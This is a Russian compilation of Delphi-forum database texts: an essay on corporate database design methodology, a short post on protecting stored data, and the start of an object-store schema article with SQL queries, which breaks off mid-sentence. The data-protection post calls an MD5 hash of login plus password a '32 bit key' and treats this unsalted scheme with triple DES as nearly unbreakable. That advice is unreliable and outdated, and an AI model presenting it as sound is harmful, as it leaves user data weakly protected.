Обеспечение эксплуатационных характеристик БД - по-прежнему непростая задача несмотря на повышение удельной мощности компьютеров и снижение удельной стоимости памяти. При этом определение временных характеристик работы с БД и сохранение этих характеристик в процессе эксплуатации БД относится к труднейшим проектным задачам. На этапах проектирования для определения рациональной физической схемы БД от способов определения временных характеристик нужно следующее:

возможности сравнения временных параметров вариантов реализации разных вариантов схемы БД, на некоторой СУБД;
возможности сравнения параметров вариантов реализации одной схемы БД на разных СУБД;
возможности сравнения параметров реализации одной схемы БД на разных аппаратных серверах БД;
возможности предсказания временных параметров работы различных прикладных программ и служебных программ-утилит.
Задача сравнения временных параметров разных СУБД рассматривается как самостоятельная. Однако, она часто должна решаться как часть проектной задачи выбора СУБД для проектируемой БД и в процессе этого проектирования.

Понятие транзакции было введено для определения законченной совокупности действий над БД, которая переводит БД из одного целостного в логическом смысле состояния в другое. На его базе строились, прежде всего, механизмы корректной актуализации и восстановления БД. Однако, затем на этой основе стали базироваться и другие механизмы и методы.

Временные оценки СУБД наиболее популярных тестов последнее время даются в виде числа транзакций определенного стандартизованного вида в единицу времени. Распределенная обработка строится на основе мониторов транзакций.

Нужно будет обнаруживать пределы возможностей такого деления работ на достаточно мелкие порции. Здесь отметим очень важный эффект: практика ориентации на "транзакционный подход" тесно связана с классической методологией проектирования БД, которая развивалась, в основном, как методология проектирования так называемы "операционных" БД, то есть баз данных, которые должны фиксировать отдельные совершаемые операции и хранить модель текущего фактического состояния объекта или ПрО.

Оценка достигнутого состояния

Не исключено, что у читателя создалось впечатление будто мы уже владеем современной методологией или, по крайней мере, близки к этому, что, к сожалению, не так, и, может быть, мы никогда ничего подобного не добьемся. Всегда несложно охарактеризовать методологию на концептуальном уровне, весьма трудно применить ее на практике. Камень преткновения - сложность проникновения в существо предметной области (например, сложности понимания механизма деятельности организации) и адаптации ее к новым, возможно лучшим, условиям функционирования.

Аналогичные проблемы характерны для СУБД в целом. Система баз данных должна стать органическим элементом системы управления организацией - вот залог ее успешного применения. Однако процесс ее внедрения связан с определенными изменениями в самой организации и в деятельности ее сотрудников, и мы всегда будем сталкиваться с естественной инертностью людей, когда речь идет о восприятии изменений....

Весьма важно, чтобы средства СУБД были адекватны потребностям пользователей. Поскольку разным пользователям могут понадобиться разные модели данных, языки данных и схемы, желательно, чтобы СУБД поддерживала множество средств, а пользователь мог выбирать из них наиболее подходящие. ...

Можно, конечно, поставить под сомнение ценность таких исследований. Действительно, каким бы плохим ни был язык программирования, его в конце концов все-таки можно выучить. Точно также и средства СУБД можно освоить за определенный период времени. Но проблема состоит не в освоении средств, а в эффективности их использования. Машина должна быть служанкой человека, но не наоборот!

Выше шрифтом выделена цитата из [Цикритзис85]. С тех пор СУБД, методы проектирования БД и соответствующие инструменты значительно прибавили в возможностях. Но остальной мир тоже не стоял на месте, существенно усложнились стоящие перед разработчиками ИС и БД задачи. И надо признать: формулировки Цикритзиса и Лоховски не устарели.

Что и как из классических методов проектирования применяется в практике настоящего времени

Применяются на практике:

СУБД, поддерживающие реляционную модель данных 1971 года с некоторыми расширениями (см., например, [Дадли96]);
Иерархическая "каскадная" схема структурного проектирования БД при подходе "сверху-вниз";
CASE-системы для структурного проектирования баз данных, ИС в целом или, к тому же, прикладных программ ИС. Наиболее часто используются: варианты ER-модели данных; табличная реляционная модель 1971 года, расширенная тем или иным дополнительным набором средств описаний ограничений целостности (ссылочная целостность, бизнес-правила); для анализа "процессного" источника сведений чаще всего предоставляются модели потоков данных или SADT, возможно, расширенные дополнительными связями по управлению (эти связи нельзя смешивать с выделенными потоками условий выполнения функций в нотации IDEF0);
Утилиты динамического администрирования БД, обеспечивающие следующие функции:
отслеживание динамики показателей эксплуатации БД: показатели доступны в любой момент на фоне работы приложений, эти показатели ("статистика") могут использоваться для поддержки оптимального динамического построения путей доступа к данным,
создание резервных копий БД, также как и ведение копий БД горячего резерва на фоне работы приложений, восстановление и откат фрагментов и полной БД,
возможна динамическая реорганизация БД (переразмещение БД и отдельных физических фрагментов, логическая и физическая реструктуризация данных), однако, эти возможности являются ограниченными.
Учет пользовательских требований к представлению данных в большем диапазоне, чем ранее. Требования к учету специфики представлений часто стали преобразовываться из положений желательности наличия разных внешних моделей данных к положению доступности значительного числа пользовательских инструментов, имеющих различные интерфейсы и, практически, различные внешние модели данных.

Что теряется

Вместе с тем, многое из классического наследия на практике не используется или используется плохо. В первую очередь, это относится к использованию формализованных методов и моделей, если только они не входят в используемую модель данных непосредственно, а должны применяться проектировщиками для получения и верификации высокого качества проектных решений, например:

полная процедура нормализации высоких степеней и минимизации набора отношений не проводится или проводится редко, если же экспертиза проверки на соответствие даже 3НФ или БКНФ предусмотрена в CASE-средствах, эта возможность редко используется на практике ввиду ее громоздкости и высоких требований к квалификации проектировщика, использующего CASE;
оптимизация размещения БД на устройствах внешней памяти проводится "на глазок", распространенные сегодня тесты временных параметров не приспособлены для помощи в решении этой задачи проектирования;
так же "на глазок" производится оптимизация размещения БД по узлам распределенной БД.
Значительно меньшее внимание в последнее время уделяется и инструментальным средствам автоматизации физического проектирования БД, включая математическое и натурное моделирование характеристик БД, в том числе - с учетом размещения по узлам распределенной ИС. Оптимизация размещения БД по узлам распределенной БД не поддерживается распространенными CASE-средствами. Отдельные инструменты и работы, включая отечественные исследования, не делают "погоды" в Мастерской средств проектирования, и не поддерживают живой школы этого направления.

Этому есть, на наш взгляд, несколько причин:

высокие требования к квалификации проектировщиков в области теоретических основ классического проектирования БД;
громоздкость методов, используемых в рамках "каскадной" схемы, в условиях практической невозможности обеспечить устойчивость больших интегрированных решений в мире с постоянно меняющимися требованиями к ИС;
относительная легкость выполнения реорганизации логической и физической структуры БД в реляционных СУБД (однако, и это конкретизируется в конце доклада, в современных условиях такой подход становится одной из ловушек для проектировщика).
Ограничения классических методов

Классические модели и методы ориентировались на организацию хранения и обработки детально структурированных данных, чему отвечало понятие "атрибута" как свойства объекта, представляемого атомарным элементом данных. В следствие этого, например, полнотекстовые БД сразу выделялись в особый тип баз данных. Для их проектирования существовало отдельное течение - ИПС или Информационно-Поисковые Системы.

Спустя годы и десятилетия после объявления своих классических моделей и концепций классики в явном виде описывали их ограниченность. Так, в [Codd79] было указано, что "при обсуждении моделирования семантики данных акцент делается на структурные аспекты в ущерб аспектам обработки. Структура без соответствующих операций или подразумеваемых методов подобна анатомии в отсутствии физиологии".

Еще через 14 лет Е. Кодд и соавторы в [Codd93] фиксировали: "... обладание большой корпоративной БД имеет маленькое значение, если конечные пользователи не имеют возможностей легко синтезировать необходимую информацию из этих запасов (складов) данных. Слишком часто мы имеем именно такие обстоятельства."

Наконец, наступило время, когда проектирование БД (и ИС в целом) по классическим правилам полноты и целостности часто стало практически бессмысленным. Весли П. Меллинг (Garthner Group) указал в [Меллинг95]: "К 1990 году почти все аспекты "стандартной процедуры работы" с ИТ (Информационными Технологиями - прим. Е.З.) были оспорены, и вычислительные архитектуры вырвались из-под контроля. ... Стандарты программирования размывались, а понятие неизбыточных, непротиворечивых, высококачественных данных годилось разве что для груды хлама."

Причины появления новых требований

Феномены глобальных компьютерных коммуникаций и повсеместных персональных вычислений (вместе в падением удельной стоимости средств вычислительной техники) привели ко многим новым возможностям БД и их проектирования. Список типов хранимых и обрабатываемых данных расширился до возможных пределов, определяемых самым общим нормативным значением понятия "данное". В корпоративные БД включаются не только неформатированные элементы и полнотекстовые фрагменты, но также БД с геоинформацией, мультимедийные БД, и это не исчерпывающий перечень.

Более того, новые возможности ИТ - вместе с рядом чисто экономических причин - привели к увеличению рыночных возможностей и требований потребителей, как следствие - к резкому усилению конкуренции в различных отраслях промышленности и услуг. Ответом послужило объявление императива бизнес-реинжиниринга: от BPR М. Хаммера ([Hammer93]) до строительства киберкорпораций по Дж. Мартину ([Мартин95]). В этих подходах требуется осуществление радикальных изменений в организации основной деятельности предприятий. В частности:

резкое снижение затрат времени, числа работников и других затрат на выполнение производственных функций;
глобализация бизнеса: работа с клиентами и партнерами в любой точке мира, а также работа с клиентом в режиме 24*365;
опора на рост мобильности персонала, снабжение работника всеми возможностями для самостоятельного получения конечного результата;
работа на будущие потребности клиента, ускоренное продвижение новых технологий.
Если ИТ были одним из толчков к такому развитию ситуации, то они оказались призваны и для того, чтобы обеспечить успех и саму возможность планируемых реконструкций. Возникли новые требования к архитектуре корпоративных ИС, как следствие - новые требования к корпоративным БД.

Также, как саму ИС нельзя рассматривать в отрыве от ее пользователей, и новое проектирование должно рассматриваться как интеграция трех составных частей: требований бизнес- реинжиниринга, человеческого фактора и методов новых ИТ. Реальное объединение этих трех составных частей, каждая из которых приобрела в 90-е годы качественно новое наполнение, создало начала того, что можно назвать Новым Системным Проектированием - Н.С.П..

Что нужно от баз данных для ответа на новые требования

Покажем новые требования к корпоративным БД на примере двух аспектов создания новых корпоративных ИС (из более чем двух десятков видов работ, составляющих основу Н.С.П. - см. [Зиндер96]):

Обеспечение максимальных возможностей для каждого работника, то есть поддержка выполнения всех бизнес-функций тем самым работником, который и получает конечный результат. Со стороны ИС, БД и СУБД для этого требуется:
обеспечение средств доступа ко всем необходимым данным с использованием распределенных БД, средств репликаций данных, управления событиями в данных и процессах обработки транзакций;
использование архитектуры и программных средств хранилища данных, средств Оперативной Аналитической Обработки Данных (OLAP), применение средств быстрой разработки приложений (RAD) для создания "ИС руководителя" (EIS), средств поддержки принятия решений (DSS) на основе хранилища данных, OLAP и RAD/EIS;
применение средств DSS на основе анализа БД прецедентов, а также методов логического вывода, нейронных сетей и нейрокомпьютеров, и др.;
предложение единого интерфейса пользователя для работы с разными компонентами данных и приложений, использование в этом интерфейсе средств, повышающих простоту поиска информации и обращения к конкретным прикладным функциям, например, функции геоинформсистем, гипертекстовые, естественного языка, речевого ввода.
Разработка концепции и структуры корпоративной базы данных для новой ИС, реализация структуры БД, предполагающая снятие (существенное уменьшение) ограничений на ее развитие, в том числе, при смене функций или функциональных компонентов обработки информации:
применение методов компонентного проектирования предметных БД как для операционных БД, так и для исторических БД хранилищ данных, архивов документов, гео-информационных и иных данных;
разработка процедур компонентного изменения корпоративной БД при изменении бизнес-процедур, видов деятельности, применяемых приложений и географического размещения предприятия;
постоянная актуализация понятийной модели деятельности предприятия для учета новых понятий, возникающих при изменении прикладных компонент на функционально сходные и при изменении видов деятельности предприятия, и построение на этой основе новых интерфейсов между компонентами ИС;
динамическое администрирование фрагментами распределенной корпоративной БД при изменении частоты их использования, при модификации их структуры и при изменении их размещения.
Некоторые новые технические требования к базам данных можно получить из анализа в [Меллинг95].

Вошедшие в практику новые инструменты мастерской проектировщика

Язык SQL, бывший в 80-м году всего лишь одним из языков, представляющих реляционную модель, стал реальным стандартом не только реляционной модели данных, но и промышленных СУБД. (В то же время, это - пример приобретения, которое быстро может стать обременительным.)

В реальных разработках наиболее распространенных организационно-производственных ИС в большинстве случаев или в большей части объемов работ произошла замена средств разработки с SQL во включающем 3GL-языке или языка 4GL процедурного типа на языки и инструменты 4GL с оконным интерфейсом на основе управления через меню и с использованием элементов концепции объектно-ориентированного программирования (и сохранением возможностей выхода на SQL и процедурный язык).

Возникли практически работающие стандарты de facto интероперабельной работы с данными, в первую очередь - стандарт ODBC.

Мультиплатформенность стала нормой, многопротокольность коммуникаций для распределенных БД реализуется на основе стандартов и интероперабельных мониторов транзакций, поддерживается "интернационализация" хотя бы в части настроек на таблицы национальных кодировок данных.

Вошли в практику новые структуры и типы данных, новые операции над данными: неформатированные элементы, полнотекстовые БД и их обработка, ГИС-данные, мультимедийные БД, гипертекстовые распределенные БД, распределенная обработка и обработка, доставляемая вместе с объектом на вход ИС. На практике наблюдаются шаги реальной интеграции упомянутых структур и операций.

Меняется подход к выбору СУБД, в первую очередь - для проектирования корпоративных БД, эксплуатация и развитие которых планируется как минимум на несколько лет. Все более используются экономические основания и критерии для выбора СУБД (см. [Зиндер95а]).

Объектная ориентация в проектировании БД здесь не рассматривается как уже реально существующий в практике новый инструмент Мастерской. (Не имеется в виду объектно- ориентированное программирование.) В настоящее время представляется обоснованным отнести такое проектирование все еще к направлениям исследований.

К новым подходам в организации проектирования БД

Поскольку новые требования в большой, если не определяющей степени связаны с ростом скорости изменений в требованиях к ИС, новые подходы в методах проектирования неразрывно связаны с новой организацией проектирования.

Каскадные схемы организации проектирования ПО для ИС достаточно давно стали преобразовываться в циклические формы. Так, организация продолжающейся разработки IBM corp. (см. [Фокс85]) предусматривала непрерывное контролируемое развитие программной системы в виде передачи в эксплуатацию ее новых версий.

Сейчас различные циклические и спиральные схемы рассматриваются как средство использования преимуществ подходов быстрого прототипирования ИС с исключением их недостатков (неуправляемости) за счет использования классических структурных методов на каждом витке спирали.

Однако, такие циклические схемы сохраняют многие старые недостатки структурных методов. Для условий Н.С.П. важными недостатками являются:

трудоемкость внесения изменений в действующие компоненты;
ограничения возможностей компонентного проектирования использующего комплектации и перекомплектации различных готовых компонентов.
Существуют и другие, например, громоздкость ведения проектной документации. Все это полностью относится и к проектированию БД.

В условиях компонентного проектирования организационная схема проектирования БД должна выглядеть как схема параллельного спирального проектирования компонентов БД и их комплексирования по необходимости.

Часто можно встретить утверждения, что объектно-ориентированное проектирование и программирование решают проблемы, порожденные структурным подходом и остающиеся при использовании циклических схем. Однако, с использованием таких технологий вопросы смысловой интероперабельности, тем более - при компонентном проектировании, могут в реальности осложниться еще больше из-за инкапсулированности описаний и меньшего внимания к дисциплине документирования данных. Представляется, что делать выводы о границах применимости этих подходов еще рано.

От новых требований к типам и источникам информации - к новым архитектурным принципам БД

Важнейшей задачей проектирования архитектуры корпоративной БД является обеспечение работы с самыми разнообразными типами и источниками информации. В соответствии с реальной практикой источниками и потребителями информации служат не только подразделения данного предприятия, головная контора холдинга или аппарат министерства, но и предприятия других отраслей (возможные поставщики и потребители, государственные регламентирующие органы и др.). Принцип глобализации бизнеса диктует: источники и потребители информации будут находиться в любой географической точке, где это окажется нужно.

Отсюда следуют стратегические для архитектуры БД и ИС в целом решения. Объединение требований к динамике и разнообразию типов информационных потоков, обрабатываемых в ИС, с учетом роста их объемов, и требований к разнообразию методов обработки позволяет дать следующую обобщенную характеристику технологий, формирующих архитектуру БД в составе ИС:

компонентная технология проектирования и перекомплектации предметно- ориентированных операционных БД, допускающих работу пользователей через общие, в том числе, для Хранилища Данных, интерфейсы;
расширенная технология Хранилища Данных, интегрирующая исторические форматированные данные, архивные текстовые документы, звуковые и видеоархивы, а также картографические данные, и включающая средства оперативной аналитической обработки данных, необходимые виды "дружественных" интерфейсов, например: гипертекстовый, ГеоИнформСистем и др.;
открытость БД для включения в нее и получения из нее информации с использованием принципов Глобальной Информационной Магистрали;
Архитектура Открытых Систем, расширенная методами и средствами компонентного формирования: на верхнем уровне это открытость компонентного проектирования БД и свободного обмена с источниками информации любых внешних систем, на нижнем уровне - технологическая открытость БД на основе стандартов переносимости, интероперабельности, масштабируемости и др..

Расширенная технология Интегрального Хранилища заставляет на новой основе ставить вопрос о разработке интегрированной совокупности интерфейсов пользователя, которая создавала бы естественные условия для работы с информацией и функциями вне зависимости от того, к какому классу хранимых данных разработчик вынужден отнести сегодня его (пользователя) информацию.

К новым подходам в методах проектирования БД

Как ответ на новые требования можно рассмотреть рекомендации к новым методам и инструментам проектирования БД. (Конечно, в предположении, что все новое есть ранее кем-то уже обнаруженное старое.)

Об исключении избыточности в данных
Сохраняется как разумное требование однократного ввода данных в БД для решения разных задач и защиты от возникновения противоречий (нарушении логической целостности) при актуализации хранимых данных. Однако, в условиях глобального информационного пространства и компонентного проектирования контекст этих требований должен быть пересмотрен. Несомненно, в операционных БД рационально планировать "острова" нормализованных и, в классическом смысле, безызбыточных кластеров отношений или объектов. Эти "острова" чаще всего и будут являться давно известными предметными БД.

Вместе с тем, объединение исторических данных Хранилищ, БД ГИС-систем, архивов текстовых документов, потоков информации, получаемых по Информационной Магистрали и др. в общей постановке проектирования корпоративной БД приводит к отказу от повсеместного и всеобязательного принципа исключения избыточности: проектирование корпоративной БД на уровне логической схемы и на концептуальном уровне не опирается как на глобальный критерий на требование и процедуры исключения избыточности в данных.

Новая ситуация, включая существенный и заранее нерегламентированный поток информации из Информационной Магистрали в корпоративную БД потребует разработки или увеличения возможностей "процедур отождествления" экземпляров информационных структур, т.е. определения того, что эти экземпляры описывают один и тот же предмет реального мира.

Проблема консервации проблем
Сам характер дисциплины проектирования, предусмотренный каскадной схемой, методами структурного проектирования и иерархическими подходами и структурами, подталкивает сейчас проектировщиков фиксировать достаточно жестко определенные модели ПрО. Должна быть изменена CASE-технология проектирования БД таким образом, чтобы исключить консервацию существующих проблем предприятий в жестких, "цельноинтегрированных" структурах БД. Для этого может потребоваться изменение не только технологии, но и инструментов проектирования.

Предполагаемые подходы:

возможность фиксировать описания атрибутов, сущностей, связей, функций, и т.д. с любой степенью неполноты, возможности производить описания на уровне недетализированных, предметно связанных совокупностей информационных структур ("кластеров сущностей");
проектирование или реконструкция моделей компонентов ИС и БД, их интеграция в общем понятийном пространстве;
проектирование упорядоченной последовательности состояний корпоративной БД как последовательности совокупностей эксплуатируемых предметных БД, включающих: наследованные БД, структурно предопределенные БД "покупных" функциональных компонентов, спроектированные специально для данного предприятия БД, причем БД двух последних категорий постепенно заменяют наследованные и, затем и параллельно, заменяют друг друга в процессе развития ИС;
открытость репозитория CASE-системы, словаря СУБД и системы 4GL, позволяющая надстраивать метаобъекты и механизмы требуемыми тезаурусными и глубинными семантическими отношениями между элементами, а также производить двухсторонний обмен метаинформацией с другими системами 4GL и CASE, соединять модели разных компонентов в одну с использованием и сохранением всех необходимых семантических отношений.
Компонентная открытость и смысловая интероперабельность
Компонентный подход в разработке ИС требует компонентного проектирования БД. Замена некоторой функциональной компоненты ИС на подобную, но спроектированную другим разработчиком, потребует структурной замены некоторой части корпоративной БД. Такая замена должна поддерживаться как постоянный процесс перепроектирования БД. При замене компоненты БД интерфейсы с ней имеющихся приложений и их пользователей должны получать точно ту же в смысловом отношении информацию, что и ранее.

Реальное компонентное проектирование БД может основываться на формировании и использовании общей для комплексируемых компонент понятийной модели и поддержании соответствий между моделями компонент БД (и связанных с ними приложений) и общей понятийной моделью. В общем виде требования к формализмам таких моделей описывались ранее (см. [Zinder90]). В последнее время развиваются программные реализации полных формальных систем, обычно основанных на объектном подходе, которые могут приближаться к инструментальному решению этой задачи (см. например, [Калиниченко93]).

Разработка понятийных моделей и СКК
Необходимость использования общих понятийных моделей заставляет заново рассматривать проблему проектирования БД того, что называется НСИ (нормативно-справочная информация) и СКК (система классификации и кодирования).

До сих пор часто встречается мнение, что СКК - средство сокращенного представления информации в интегрированной БД. На самом деле, отсутствие СКК или использование некорректно построенных СКК приводит к смысловой несовместимости информации, хранимой в различных БД или даже в одной БД. В этих условиях не приведет к достижению целей использование самых продвинутых режимов технологической интероперабельности. Таким образом, целесообразно использовать работы по проектированию БД с НСИ и проектирование СКК как начало и основу для создания понятийного пространства ПрО, для построения понятийной модели деятельности предприятия.

Понятийные модели и последующие проектные работы
На последующих этапах проектирования собственно БД понятийная модель продолжает использоваться с различными целями, например:

разработка совокупности разных предметных информационных моделей с выделением общих информационных сущностей;
разработка функциональных моделей разных типов;
разработка семантически богатых средств поддержки пользователя, и др.
Технологическая открытость
В ИС новой архитектуры СУБД станут определяющим но не единственным компонентом интегрирующего ПО (в том числе - промежуточного, или middleware). Мониторы транзакций и процессов, средства семантического моделирования и использования понятийных моделей, СУБД- независимые средства разработки и исполнения приложений - другие классы компонентов ПО, обеспечивающие достижение этой цели.

Рекомендуется сохранение независимости от СУБД на основе использования инструментария и стандартов, охватывающих различные СУБД. Отказ от связи с одной СУБД, открытость CASE- репозитория, возможность развития метамоделей, поддерживаемых в репозитории, и применяемых к ним проектных процедур - это лишь минимальные требования к методам и инструментам.

Целесообразно ориентироваться на CASE-системы, ориентированные на возможность параллельного проектирования компонент независимыми разработчиками (в том числе - без использования данной CASE-системы) с последующей интеграцией метаинформации.

Средства разработки приложений должны удовлетворять требованиям мобильности приложений и, одновременно, работы в гетерогенной среде распределенной БД.

Проблемы объемов, временных характеристик и физического проектирования
Распространение БД класса VLDB требует более активного использования методов проектирования эффективных физических схем данных. Невозможно строить такие БД рассчитывая на постоянную реорганизацию путем переписи в новые физические структуры. Это так для операционных БД режима OLTP, тем более это так для терабайтных БД, ориентированных на OLAP. Легкость процедур выполнения реорганизаций указанным методом может становиться "ловушкой" для проектировщика, особенно - на первых этапах ввода БД в действие, когда ее перепись еще возможна из-за неполного объема.

Целесообразно на уровне новых технологий (применение многомерных структур, индексов битовых отображений и др.) вернуться к методам прогнозирования эксплуатационных характеристик БД, которые позволяли бы планировать устойчивость физической схемы как минимум на то время, пока экономические возможности не позволят расширять внешнюю память разных уровней для применения других подходов.

Большой рост объемов БД будет сопровождаться ростом требований к их надежности. К средствам и методам проектирования БД вследствие постоянно осуществляемого процесса перепроектирования БД будут непосредственно примыкать средства управления БД. Так, для обеспечения устойчивых к отказам данных необходимо владение средствами управления и синхронизации географически разнесенных теневых и резервных баз данных.

Проблема границ применимости двух основных методов проектирования
В ходе исследований и практического проектирования должны быть определены границы применимости двух концепций: проектирование БД как объекта, осознано отделенного от прикладных программ, и объектно-ориентированное проектирование, в котором объект инкапсулирует и данные, и методы их обработки.

ЗАКЛЮЧЕНИЕ

Создание корпоративных БД в условиях Нового Системного Проектирования - деятельность, использующая многие методы классического проектирования, но требующая иной организации и многих дополнительных методов, а также новых, которые заменили бы некоторые из тех, что были разработаны 10 и более лет назад.

Дисциплина проектирования БД в новых условиях еще отсутствует. Тем не менее, ее начала видны, ее элементы работают в реальных проектах.

В соответствии с принципом сохранения иммунитета к компьютерным революциям (см. [Зиндер95б]) классические методы проектирования БД должны продолжать использоваться, но только в тех в областях, где они действительно полезны. Методы проектирования, рассматриваемые в конкретных проектах корпоративных ИС и БД, и соответствующие инструменты должны проверяться на свои возможности обеспечивать функции в соответствии с требованиями Нового Системного Проектирования.

Взято с http://delphiworld.narod.ru


Защита данных

Давайте принципиально различать 2 ситуации:

Ситуация I
Нужно чтобы программа где-то хранила свои данные в зашифрованном виде. Пользователь никаких паролей не вводит. Такой сценарий обычно нужен чтобы предупредить возможность пользователя напрямую манипулировать теми или иными данными, позволяя ему общение только через программу.

Для этого случая сила криптографических алгоритмов не принципиальна. Против ламера поможет любая защита, против хакера - никакая защита не сработает, так как пароль/ключ и алгоритм уже находятся в руках, всё зашито в базе данных, exe и т.п. у пользователя на компьютере, то так или иначе эта защита вскрывается - программа дизассемблируется, трассируется, запросы к базе перехватываются и т.д. В данном случае что Парадокс, что MS Access, что любая другая база данных - не имеет значения, вопрос в том сломают её за 5 минут или за час.

Ситуация II
Есть конфиденциальные данные конкретного пользователя. Чтобы получить свои данные пользователь должен руками ввести свой пароль. Сам пароль известен только пользователю, ни в програмном коде, ни в базе данных он нигде не хранится.

Вот здесь надо обратить внимание на базу данных. Сразу скажу - базы данных типа Парадокс, Foxpro, MS Access - подходят только если использовать шифрование данных, надеятся на их встроенные системы защиты нельзя. Лучше всего защищены промышленные сервера, типа MS SQL Server, Oracle, DB/2, SyBase. И тем ни менее, даже при их использовании, для максимальной защиты лучше шифровать вносимые данные по какому-нибудь криптостойкому алгоритму, например:

берётся строка: "Логин+Пароль", введенные пользователем
на этой строке делается MD5 - получается 32 битный ключ
Все данные читаются и пишутся с предварительной шифровкой/дешифровкой с полученным ключём использую алгоритм "трипл-дес"

При таком раскладе можно и в парадоксе хранить - расшифровать практически невозможно. Только надо понимать что при таком алгоритме нет никакой возможности восстановить утерянный пароль, обнулить пароль и восстановить инфу при потере логина или пароля - информация будет утеряна навсегда.

Рассмотренные сценарии относятся к случаю, когда база данных поставляется с программой, если используется удалённый сервер баз данных или например для web приложений, то там правила немного другие, надо принимать в рассчёт многочисленные возможности защиты информации на удалённом компьютере.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято из http://forum.sources.ru


Нужна база данных, работающая без каких-либо драйверов, Без ODBC/BDE/ADO/DAO etc

Компонент называемый VolgaDB: www.volgadb.com

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято из http://forum.sources.ru


БД - хранилище объектов (статья)

Классической методикой проектирования БД является создание отдельной таблицы для каждой описываемой моделью данных сущности, затем, в процессе нормализации – выделение отдельных таблиц для хранения атрибутов сущности (таблицы-справочники). Такой подход хорошо работает для БД с относительно небольшим количеством описываемых объектов (десятки) и при несложных и статичных связях между ними. Однако, любое изменение структуры хранимых данных приводит к внесению изменений в структуру таблиц, эти данные отображающих. Несложная на этапе разработки, эта операция становится крайне проблематичной при больших объемах данных и отсутствии у разработчика непосредственного доступа к БД (например, если она стоит у заказчика). Многим, наверное, знакомы громоздкие, медленные и требующие огромного дискового пространства операции по конвертированию БД при переходе на новую версию продукта. Не менее неприятна работа с БД, исторически разросшейся до сотен таблиц, структуру которой сложно даже изобразить в читабельном виде. В связи с этим встает вопрос – а нельзя ли создать структуру данных, не требующую переделок при появлении новых сущностей, позволяющую хранить произвольную информацию и при этом достаточно простую и эффективную? Чудес, увы, не бывает. Любая универсальная система менее эффективна, чем специализированная. Однако, возможно создание решения, сочетающего приемлемую производительность и простоту с достаточной степенью универсальности.

Базовые тезисы
Прежде чем продолжать, необходимо сформулировать основные принципы, на которых будет строиться проектируемая БД.
1. Каждая сущность, информация о которой хранится в БД – это объект
2. Каждый объект уникален в пределах БД и имеет уникальный идентификатор.
3. Объект имеет свойства (строковые, числовые, временные, перечислимые), которые описывают атрибуты сущности.
4. Объекты могут быть связаны между собой произвольным образом. Связь характеризуется связанными объектами и типом связи. Например, сотрудник фирмы может быть связан с отделом, в котором он работает связью типа «сотрудник в отделе» и т.п. Связь в некотором роде аналогична понятию ссылки на таблицу-справочник в традиционной модели БД.
5. Объект может быть хранилищем. В этом случае допускается хранение на нем других объектов (например, товара на складе).
Такая БД не привязана ни к какой бизнес модели и позволяет реализовать «над собой» практически любую бизнес-логику. Логика выделяется в отдельный программный слой и, как правило, реализуется на сервере приложений, где по запросу клиента создаются объекты, загружающие информацию о себе из БД и реализующие «поведение» объектов реального мира. В то же время, в силу однообразности модели хранения эти объекты несложно создаются на основе базовых классов, инкапсулирующих функциональность по загрузке и сохранению свойств и связей в БД.

Объекты
Объект в нашей БД – это скорее логическое понятие, его главное назначение – предоставить уникальный идентификатор, по которому он будет отличаться. Кроме этого, каждый объект обладает типом. Типы описываются таблицей:
ObjType
Id INTEGER Первичный ключ
Code CHAR(10) NOT NULL UNIQUE Краткое название типа. Используется в программе для поиска объектов данного типа
ItemName CHAR(30) Полное название типа, используется только для интерфейса.
Типами объектов может быть, например «Фирма», «Сотрудник», «Товар»
Для упрощения не будем реализовывать наследования, отмечу лишь, что для этого необходимо ввести в ObjType поле ParentId, ссылающееся на Id наследника.
Сами объекты хранятся в таблице
Objects
Id INTEGER Первичный ключ
TypeId INTEGER REFERENCES ObjType(Id) Ссылка на тип объекта
ItemName CHAR(50) Название объекта
Поле Objects.ItemName заслуживает отдельного обсуждения. В этом поле хранится строка, описывающая объект и (часто) дублирующая одно из его свойств, либо формируемая как сочетание нескольких свойств (например, номер и дата договора, фамилия и инициалы человека). Такой подход приводит к известному дублированию информации и потенциальным аномалиям обновления. Однако, при работе через сервер приложений формирование этого поля реализуется очень просто, а при выводе в интерфейсе списков объектов получение наименования из этого поля существенно повышает общее быстродействие базы данных. В то же время, в системах, где преимущественно производится ввод информации и мало операций по её выборке можно отказаться от него, что позволит уменьшить накладные затраты на его формирование и обновление.
Таким образом, мы получаем возможность, хранить объекты произвольного количества типов. Выборка объектов конкретного типа производится запросом вида

SELECT O.Id, O.ItemName, OT.ItemName
  FROM Objects O
   INNER JOIN ObjType OT ON O.TypeId = OT.Id
 WHERE OT.Code = 'EMPLOYEE'

Однако, наименования явно недостаточно для описания произвольного объекта из реального мира. Поэтому дополним создаваемую БД группой таблиц для описания свойств объектов.

Свойства
Свойства объектов отражают реальные атрибуты описываемых ими сущностей. Все они принадлежат к какому-то объекту и содержат некую информацию об атрибуте и его величине, причем список атрибутов общий для всех объектов одного и того же типа.
Величина же может выражаться данными различного типа. Будем хранить в БД атрибуты следующих типов:
· Строковые
· Числовые. Различия между целыми и вещественными числами делать не будем, полагая целые подмножеством вещественных. Если задача диктует невозможность применения данного подхода – придется выделять эти атрибуты в различные типы
· Исторические (дата и время)
· Перечислимые (например, форма собственности фирмы)

Строковые атрибуты
Для описания атрибутов заведем таблицу
StrDesc
Id INTEGER Первичный ключ
TypeId INTEGER REFERENCES ObjType(Id) Ссылка на тип объекта
Code CHAR(10) Краткое название параметра
ItemName CHAR(30) Полное название параметра, используется только для интерфейса.
При настройке БД, для каждого типа объектов задается набор свойств данного типа. Так, например, объект типа «EMPLOYEE» (Сотрудник) может иметь строковые свойства:
«FAMILY» - фамилия
«FIRSTNAME» - имя
«LASTNAME» - отчество
«ADDRESS» - адрес
«EMAIL» - адрес электронной почты
Поле Objects.ItemName для сотрудников заполняется сервером приложений как комбинация из атрибутов FAMILY + FIRSTNAME + LASTNAME
Сами атрибуты хранятся в таблице
Strings
Id INTEGER Первичный ключ
TypeId INTEGER REFERENCES StrDesc(Id) Ссылка на тип параметра
ObjectId INTEGER REFERENCES Objects(Id) Ссылка на объект
Value VARCHAR(255) Значение параметра
Чтобы получить список сотрудников, имеющих E-Mail можно использовать запрос:

SELECT O.ItemName, S.Value
  FROM Objects O
   INNER JOIN ObjType OT ON O.TypeId = OT.Id
   INNER JOIN Strings S ON O.Id = S.ObjectId
   INNER JOIN StrDesc SD ON S.TypeId = SD.Id
 WHERE OT.Code = 'EMPLOYEE'
   AND SD.TypeId = OT.Id
   AND SD.Code = 'EMAIL'

Для получения списка всех сотрудников, с указанием адресов электронной почты для тех, у кого они есть запрос надо модифицировать:

